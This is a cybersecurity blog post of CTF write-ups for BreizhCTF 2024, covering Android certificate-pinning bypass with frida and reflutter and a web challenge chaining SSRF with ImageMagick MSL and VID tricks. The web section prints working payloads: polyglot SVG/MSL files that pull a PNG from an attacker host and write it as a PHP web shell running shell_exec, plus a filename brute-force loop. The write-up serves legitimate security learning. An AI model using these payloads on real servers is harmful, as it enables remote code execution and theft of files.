@darkpills cybersecurity blog

Sharing knowledge and experiments on cyber security topics.

BreizhCTF 2024 - Mobile OwnApp and Web Popup Creator Write-ups

OwnApp home screen

BreizhCTF is the largest physical CTF in France and gathered 600 participants the 17th may 2024.

This post is the write-up of 3 excellent challenges written by Worty: 2 mobile challs on “OwnApp” and 1 web on Popup Creator.

I’d like to thank all BreizhCTF team for the great work they are doing each year so that this event is a success: BDI, Kaluche, Saax, Icodia, and all the challs creators from ESNA! In particular, thank you Worty for the great work and discussion we had during this conference :)

Mobile 1 - OwnApp - Easy

You are provided a mobile android APK ownapp.apk with challenge description saying that cert pinning was implemented for security reason.

I fired up a genymotion emulator and installed the APK with Burp in interception in the system proxy and installed CA certificate:

OwnApp home screen

The text said a request was sent. However, I could not see an http request in Burp or handshake error like it’s usually the case when cert pinning is implemented.

So, before digging into the dynamic analysis, I decompiled the apk with jadx to see if I could find the URL directly in the source code:

$ jadx -d ./output/ ownapp.apk

Here is the code of the main activity:

package com.example.ownapp;

import android.os.Bundle;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.example.ownapp.databinding.ActivityMainBinding;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    private ActivityMainBinding binding;

    public native String getURL();

    static {
        System.loadLibrary("ownapp");
    }

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
        this.binding = inflate;
        setContentView(inflate.getRoot());
        TextView tv = this.binding.sampleText;
        new HttpClient().execute("https://" + getURL());
        tv.setText("[DEBUG] Request sent !");
    }
}

As you can see, an HTTP request is made by the custom HttpClient class to an URL retrieved from the getURL() method of the class:

public native String getURL();

The native keyword indicate that the function is imported from external library code: libownapp.so. This native library uses a standard Java mechanisms, the Java Native Interface (JNI), to expose C/C++ functions in Java functions. A simple strings in the library showed to quickwin URL.

As I am not a good reverser, I chose a straightforward method with a frida script that would just call the getURL() method of the main activity instance:

console.log("Script loaded successfully ");
Java.perform(function x() {
    console.log("Inside java perform function");

    // Example of using/reusing an instance of a class to call it
    Java.choose("com.example.ownapp.MainActivity", {
        //This function will be called for every instance found by frida
        onMatch : function(instance){ 
            console.log("Found instance: "+instance);
            console.log(instance.getURL());
        },
        onComplete:function(){}
    });
});

We just browse every instances of com.example.ownapp.MainActivity class and call getURL() on it. We start a frida server:

$ adb shell
vbox86p:/ $ cd /data/local/tmp/frida-server-16.1.4-android-x86_64
vbox86p:/data/local/tmp/frida-server $ ./frida-server-16.1.4-android-x86_64 -l 0.0.0.0

And launch the objection and imported the frida script to get the URL. It could have been done with frida without objection:

$ frida-ps -Uai
$ /root/.pyenv/versions/3.11.7/bin/objection -g OwnApp explore 
Using USB device `Galaxy S9`
Agent injected and responds ok!

     _   _         _   _
 ___| |_|_|___ ___| |_|_|___ ___
| . | . | | -_|  _|  _| | . |   |
|___|___| |___|___|_| |_|___|_|_|
      |___|(object)inject(ion) v1.11.0

     Runtime Mobile Exploration
        by: @leonjza from @sensepost

[tab] for command suggestions
com.example.ownapp on (Samsung: 12) [usb] import test.js
Script loaded successfully 
Inside java perform function
Found instance: com.example.ownapp.MainActivity@3b42d8e
ownapp.ctf.bzh/my_very_secret_secret_route?flag=0
com.example.ownapp on (Samsung: 12) [usb]  

A curl on the URL with the GET parameter set to 1 managed to get the flag:

$ curl -i "https://ownapp.ctf.bzh/my_very_secret_secret_route?flag=1"

Mobile 3 - OwnApp v2 - Difficult

The challenge description said the security issue with the previous app was fixed and a new button was added to the application. So we expect a more difficult cert pinning bypass.

I reproduced the same basic step as previous to put Burp in interception and started the application:

OwnApp v2 home screen

As expected, no request went through Burp even with playing a bit with the counter.

After static analysis after Jadx decompilation, we notice that this is a flutter app from the packages of the main activity:

package com.breizhctf.own_app_version_2;

import io.flutter.embedding.android.d;

/* loaded from: classes.dex */
public class MainActivity extends d {
}

Moreover, the rest of the code was obfuscated:

OwnApp v2 obfuscated code

Flutter is a mobile framework for writing cross-platform application. The code is written in Dart, compiled in lib/libapp.so and interpreted at runtime by the Dart VM. So, we have to deal with Dart byte-code. Reverse engineering of Dart seems to be not that easy from a quick search on the subject here and here.

The shared file objects lib/libapp.so contains Dart snapshot (AOT) in ELF format but do not expose Dart functions:

A “clustered snapshot” format but with compiled code in the separate executable section

As I am not a reverser, I chose to try to bypass cert pinning with reflutter which is a tool dedicated for that:

$ pip3 install reflutter==0.7.8
$ reflutter OwnAppV2.apk 

 Choose an option: 

 1. Traffic monitoring and interception 
 2. Display absolute code offset for functions

 [1/2]? 1

Example: (192.168.1.154) etc.
Please enter your BurpSuite IP: 10.50.141.17

 Wait...


SnapshotHash: b6d0a1f034d158b0d37b51d559379697
The resulting apk file: ./release.RE.apk
Please sign,align the apk file

Configure Burp Suite proxy server to listen on *:8083
Proxy Tab -> Options -> Proxy Listeners -> Edit -> Binding Tab

Then enable invisible proxying in Request Handling Tab
Support Invisible Proxying -> true

Then align and resign the app and install it on the device:

$ zipalign -p -f -v 4 release.RE.apk release.RE.aligned.apk
$ java -jar uber-apk-signer-1.2.1.jar --allowResign -a release.RE.aligned.apk

However, after setting Burp as required to listen on port 8083, no query could be seen in Burp after that. I tested the demo app in the flutter repository and I could see the requests. I also tried the option 2 to get a Dart snapshot without success.

I tried a different approach by dumping process memory and hope to find the URL not obfuscated in the memory.

$ git clone https://github.com/Nightbringer21/fridump.git
$ cd fridump
$ python3 fridump.py  -U -s own_app_version_2

We obtain a huge list of memory region dumps with a strings.txt file containing strings found during the dump:

$ ls -all

total 566108
drwxrws--- 2 root rvm    36864 May 17 23:23 .
drwxrws--- 5 root rvm     4096 May 17 23:23 ..
-rw-rw---- 1 root rvm    28672 May 17 23:23 0x40038000_dump.data
-rw-rw---- 1 root rvm    28672 May 17 23:23 0x401bf000_dump.data
-rw-rw---- 1 root rvm    16384 May 17 23:23 0x40273000_dump.data
-rw-rw---- 1 root rvm    28672 May 17 23:23 0x402d3000_dump.data
-rw-rw---- 1 root rvm    28672 May 17 23:23 0x40309000_dump.data
-rw-rw---- 1 root rvm   147456 May 17 23:23 0x40327000_dump.data
-rw-rw---- 1 root rvm    16384 May 17 23:23 0x403e5000_dump.data
-rw-rw---- 1 root rvm    65536 May 17 23:23 0x404b6000_dump.data
...
-rw-rw---- 1 root rvm 20971520 May 17 23:23 440401920_dump.data
-rw-rw---- 1 root rvm 20971520 May 17 23:23 461373440_dump.data
-rw-rw---- 1 root rvm 20971520 May 17 23:23 482344960_dump.data
-rw-rw---- 1 root rvm 12582912 May 17 23:23 503316480_dump.data
-rw-rw---- 1 root rvm  1827154 May 17 23:23 strings.txt

By grepping the domain name of the ctf, we find an interesting address:

$ strings strings.txt | grep ctf.bzh
https://ownappv2.ctf.bzh/score_from_user_app_android?score=42

A quick GET on the URL revealed a detection mechanism in place for mobile client, rejecting web clients: OwnApp v2 GET on the url score

I tried with several mobile user agent without success.

Then, from the variable “score”, I just went back to the application and click until the score 42 displayed and got a request in Burp! The interception was indeed working:

OwnApp v2 GET on the url in Burp

The user agent was actually Dar specific. Replaying the request with a score larger than Kaluche was enough to get the flag:

OwnApp v2 flag

Web - Popup Creator - Difficult

This challenge was solved together with Calimsha.

Challenge analysis

It is a whitebox challenge. We are given the source code of the web app and a docker file to test locally:

$ docker build .
$ docker run -p80:80 0189423448fe

We explore the web application: Popup Creator home page

And quickly find possible hints on the issues to exploit: SSRF + LFI? Popup Creator bugs page

The SSRF seems to be on this page: Popup Creator rate page

A static analysis on the source code revealed a plain PHP application, without framework. The app source code is really tiny. There seems to be only 1 major dependency with imagick. This gives hint on what we may use to retrieve the flag which is located at /flag.txt:

...

RUN mkdir -p /usr/src/php/ext/imagick && \
    curl -fsSL https://github.com/Imagick/imagick/archive/06116aa24b76edaf6b1693198f79e6c295eda8a9.tar.gz | tar xvz -C "/usr/src/php/ext/imagick" --strip 1 && \
    docker-php-ext-install imagick dom && \
...

COPY ./flag.txt /

RUN chmod 755 /var/www/html/ && chown root:root /var/www/html/
RUN chown www-data:www-data /var/www/html/*.php
RUN chown www-data:www-data /var/www/html/fetcher/*.php
RUN chown www-data:www-data /var/www/html/fetcher/helpers/*.php
...

The SSRF is confirmed in the fetcher.php file. I removed unnecessary code for better readability:

...
if($_SERVER["REQUEST_METHOD"] === "POST")
{
    if(isset($_POST["url"]) && !empty($_POST["url"]))
    {
        if(filter_var($_POST["url"], FILTER_VALIDATE_URL))
        {
            if(str_starts_with($_POST['url'],"http://") || str_starts_with($_POST['url'],"https://"))
            {
                ...
                
                //to handle network connection problem
                try{
                    $html = file_get_contents($_POST["url"], false, $context);
                }
                catch(Throwable $e){}
                if(isset($html) && $html != NULL)
                {
                    $parser = new HtmlParser($html);
                    $parser->parse_html();
                    
...

Then the HTML code retrieved is parsed in the HtmlParser class:


class HtmlParser
{
    ...
    function parse_html()
    {
        $this->dom_doc = new DOMDocument();
        $this->dom_doc->loadHTML($this->raw_html);
        ...
        $this->get_images();
        $this->image_parser->parse_image($this->images);
        ...
    }

And in case of <img> tags, the ImageParser class is used:

class ImageParser
{
    function parse_image($images)
    {
        foreach($images as $image)
        {
            try{
                $imagick = new Imagick($image);
                $imagick->resizeImage(25,25, 1, 1);
                array_push($this->img_data, base64_encode($imagick->getImageBlob()));
            }
            catch(Throwable $e){};
        }
    }
}

An instance of Imagick class is created with a fully user controlled input in the constructor.

All of this seems to push the player to SSRF an HTML and then use Imagick for getting the flag.

1st attempt: SVG LFI

After a search on google with imagemagick php lfi led us to the following blog post: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/. A first part explains how a simple SVG can LFI in the context of a Wordpress exploit with the text formatter:

<svg width="500" height="500" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:/flag.txt" width="500" height="500" />
</svg>

However, when trying this exploit we get an error in the container output:

apache2: unable to get type metrics `/flag.txt' @ error/txt.c/ReadTEXTImage/278.

I’m not sure about the origin of the error. It seems to be linked with the ability of Imagick to select a font to render the file.

2nd attempt: SVG MSL file write race condition

A second part of the article get deeper into a RCE exploit leveraging a polyglot SVG/MSL that lead to an arbitrary file write.

To make a summary of the article, the researcher observed that Imagick creates temporary files in /tmp directory in this form in the default configuration. These files are removed after processing. Here is an example in the docker container of the challenge:

root@a92fa0f814dc:/var/www/html# ls -all /tmp
total 24
drwxrwxrwt 1 root     root     4096 May 20 12:48 .
drwxr-xr-x 1 root     root     4096 May 20 12:44 ..
-rw------- 1 www-data www-data    0 May 20 12:48 magick-6-6z_dXcrHg8P_U-r4R79gN9YwXZKx5O
-rw------- 1 www-data www-data    0 May 20 12:48 magick-RLMSeurMD3qz4Qn9BH4KVbEssO8rrTeV
-rw------- 1 www-data www-data  455 May 20 12:48 magick-XUBY0-SLKASoHp8PGkEhyWWwiY5I1U4I
-rw------- 1 www-data www-data  422 May 20 12:48 magick-nwP4ARAG-S0MN7Afliae9ikyo311AKEY
drwxrwxrwx 1 root     root     4096 May 20 12:46 sessions

2 files are created, and 1 of them is the original file like it was uploaded, but with a different filename.

But, by providing a SVG including an image that points to a closed IP/port, Imagick will wait and timed out by default after 1 minute:

<?xml version="1.0" encoding="UTF-8"?>
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>

This gives the ability to write a local file that will stay 1 min on the filesystem and use it in a race condition exploit. But the file has to be a valid image file.

Magick Scripting Language (MSL) has been abused in the past like in Imagetragick exploit. It provides the ability to execute unit magick operations. For instance, here is a poc file that convert a png and writes it to a directory:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://10.50.141.17:30000/test.png" />
  <write filename="/var/www/html/exploit.php" />
</image>

If test.png is a valid PNG, we can just insert PHP instructions that will be interpreted with the .php extension. For that, we use the script mentioned in the blog article: https://github.com/Patrowl/CVE-2023-4634/:

$ python3 CVE-2023-4634.py --generatepng --png_polyglot_name testr.png --payload "<?php var_dump(shell_exec('id && cat /flag.txt')); ?>"

Now, the trick is to craft a valid image file (a SVG), that is also a valid MSL file, a polyglot SVG/MSL.

Triggering Imagick MSL parsing is not that easy anymore. When using the PHP Imagick library on images, a first called is made to the identity function. Identify will read the image, search for Magic Byte or specific string within the file. The result of the function will then be used as Imagick Parser.

Here is a solution provided in the article:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://192.168.1.21:30000/test.png" />
  <write filename="/var/www/html/exploit.php" />
  <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
</svg>
</image>

So, it is possible to write a valid MSL file in the filesystem in the form of /tmp/magick-<something>, and make a second call to use the MSL file.

However, it is not possible to guess the file name of the MSL file to use.

The VID format comes to the rescue:

Here we discover the power of the VID format with this great article about exploitation of another Software using Imagick: https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/. […] the VID formatter is using ExandFilenames() function on input parameters, which allows usage of wildcard within a folder.

So with the following SVG can trigger an existing MSL file in the tmp directory:

<svg width="500" height="500" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/tmp/magick-*"  width="500" height="500" />
</svg>

The strategy is:

  1. A first SSRF http call to index.html on our local sever creates a SVG that is also a MSL for 1 min the file in the /tmp directory
  2. A second SSRF http call to index2.html on our local server triggers the MSL with a VID wildcard syntax in the /tmp directory
  3. The MSL download a PNG and writes it as a PHP file to a writable location by www-data like /var/www/html/bugs.php under the webserver root directory

index.html

<html>
    <body>
        <img src="http://192.168.1.21:30000/test.svg">
    </body>
</html>

test.svg

<?xml version="1.0" encoding="UTF-8"?>
<image>
    <read filename="http://192.168.1.21:30000/test.png" />
    <write filename="/var/www/html/bugs.php" />
    <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <image xlink:href="http://192.192.192.23:1664/neverExist.svg" height="100" width="100"/>
    </svg>
</image>

index2.html

<html>
    <body>
        <img src="http://192.168.1.21:30000/test2.svg">
    </body>
</html>

test2.svg

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/tmp/magick-*"  width="500" height="500" />
</svg>

However, the tests made showed some kind of queued mechanism within Imagick. Our 2nd call would only be processed after the first one would timeout after 1 min.

3rd attempt: SVG MSL file write by segfault + SVG filename oracle + VID MSL exec

By doing some tests, we noticed some segfaults with msl: format when the file does not have the expected format: for instance with /etc/passwd:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="text:vid:msl:/etc/passwd" height="100" width="100"/>
</svg>

In this case, the original file also remains in the /tmp directory and we do not have the race condition + queue issue anymore:

root@5bef8e92691c:/tmp# ls -all
total 636
drwxrwxrwt 1 root     root     376832 May 23 07:42 .
drwxr-xr-x 1 root     root       4096 May 22 17:34 ..
-rw------- 1 www-data www-data    388 May 23 07:42 magick-FhTivzt3k-dJMneJWAbXQUkYxxTjCmNj
-rw------- 1 www-data www-data      0 May 23 07:42 magick-ZYGBxIxYvYCb4kZRRElBK95tCWZt7jww
-rw------- 1 www-data www-data    406 May 23 07:42 magick-sCSeRpRKPEBTPU3bkDgJPv7Xtj3f1CVv
drwxrwxrwx 1 root     root     249856 May 23 07:42 sessions
root@5bef8e92691c:/tmp# cat magick-sCSeRpRKPEBTPU3bkDgJPv7Xtj3f1CVv
<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="http://10.36.50.111:30000/test.png" />
  <write filename="/var/www/html/bugs.php" />
  <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <image xlink:href="text:vid:msl:/etc/passwd" height="100" width="100"/>
</svg>

But the problem remain the same with the 2nd HTTP request: we cannot determine the exact filename generated by the error.

We can try to bruteforce the filename with msl format. However, as soon as a file is found, it would hang even if the file is empty, creating more junk files in the /tmp directory, that would make even more difficult to find the right file. This technique still work but the success ratio is low.

As the file is also a valid SVG, we found that svg format was much more smooth and would not hang on non valid SVG files, like empty files or MVG. We can bruteforce filenames and the request would hang (segfault) if the file is a valid SVG with vid:svg:

vid:svg:/tmp/magick-a*
vid:svg:/tmp/magick-b*
vid:svg:/tmp/magick-c*
...

First, we place our SVG polyglot in the tmp dir by segfaulting Imagick with invalid MSL text:vid:msl:/etc/passwd:

$ curl http://localhost/fetch -X POST -d "url=http%3a//192.168.1.21%3a30000/index.html"

index.html

<html>
    <body>
        <img src="http://192.168.1.21:30000/test.svg">
    </body>
</html>

test.svg

<?xml version="1.0" encoding="UTF-8"?>
<image>
    <read filename="http://192.168.1.21:30000/test.png" />
    <write filename="/var/www/html/bugs.php" />
    <get width="base-width" height="base-height" />
    <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <image xlink:href="text:vid:msl:/etc/passwd" height="100" width="100"/>
    </svg>
</image>

We remplace our simple http server with a PHP dev server to launch our bruteforce script:

$ php -S 0.0.0.0:30000

And start a oneliner (expanded for readability) bash to bruteforce the filename:

for i in `echo -n "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-" | sed -e 's/\(.\)/\1\n/g'`; do
    echo "Testing: $i"; 
    if [ 1 -ne `curl -s http://localhost/fetch -X POST -d "url=http%3a//192.168.1.21%3a30000/brute.php?letter=$i" | grep -c data` ]; then
        break; 
    fi ; 
done

brute.php

<html>
    <body>
      <img src="vid:svg:/tmp/magick-<?php echo $_GET['letter'] ?>*">
    </body>
</html>

Then we get the starting letter of the SVG polyglot:

Testing: A
Testing: B
Testing: C
Testing: D
...
Testing: r

And we can trigger our payload directly:

$ curl http://localhost/fetch -X POST -d "url=http%3a//192.168.1.21%3a30000/index2.html"

index2.html

<html>
    <body>
        <img src="vid:msl:/tmp/magick-r*">
    </body>
</html>

The file /var/www/html/bugs.php got replaced by our malicious PNG containing our PHP instruction. We can call it to get the flag:

$ curl -s http://localhost/bugs --output -          
�PNG
�
IHDRf�:%gAMA��
!��=tEXtCommentstring(72) "uid=33(www-data) gid=33(www-data) groups=33(www-data)
BZHCTF{fake_flag}
"]��%tEXtdate:create2024-05-23T07:36:57+00:00��|�%tEXtdate:modify2024-05-23T07:36:57+00:00���5IEND�B`�#  

Other valid solution: PHP file tmp file upload + VID MSL exec race condition

After discussing with Worty, he pointed out that there was another smart technique to get the file uploaded: we sending a file, PHP engine stores it in the /tmp directory to make it available to the PHP script variable $_FILES even if it’s not used.

Then we can just flood of requests with vid:msl:/tmp/php-* and in parallel, flood of requests that POST a valid MSL file to any PHP script.

In the BreizhCTF, as users are limited to 100 req/sec, it requires 2 players to inject at the same time to get the race condition working.

Vincent MICHEL (@darkpills)

I work as a pentester in a cyber security company. This blog aims at sharing my thoughts and experiments on different topics if it can help otheres: web and internal penetration tests, vulnerability research, write-ups, exploit development, security best practices, tooling, and so on... I previously worked as a senior software developer and switched to this wonderfull land of security :)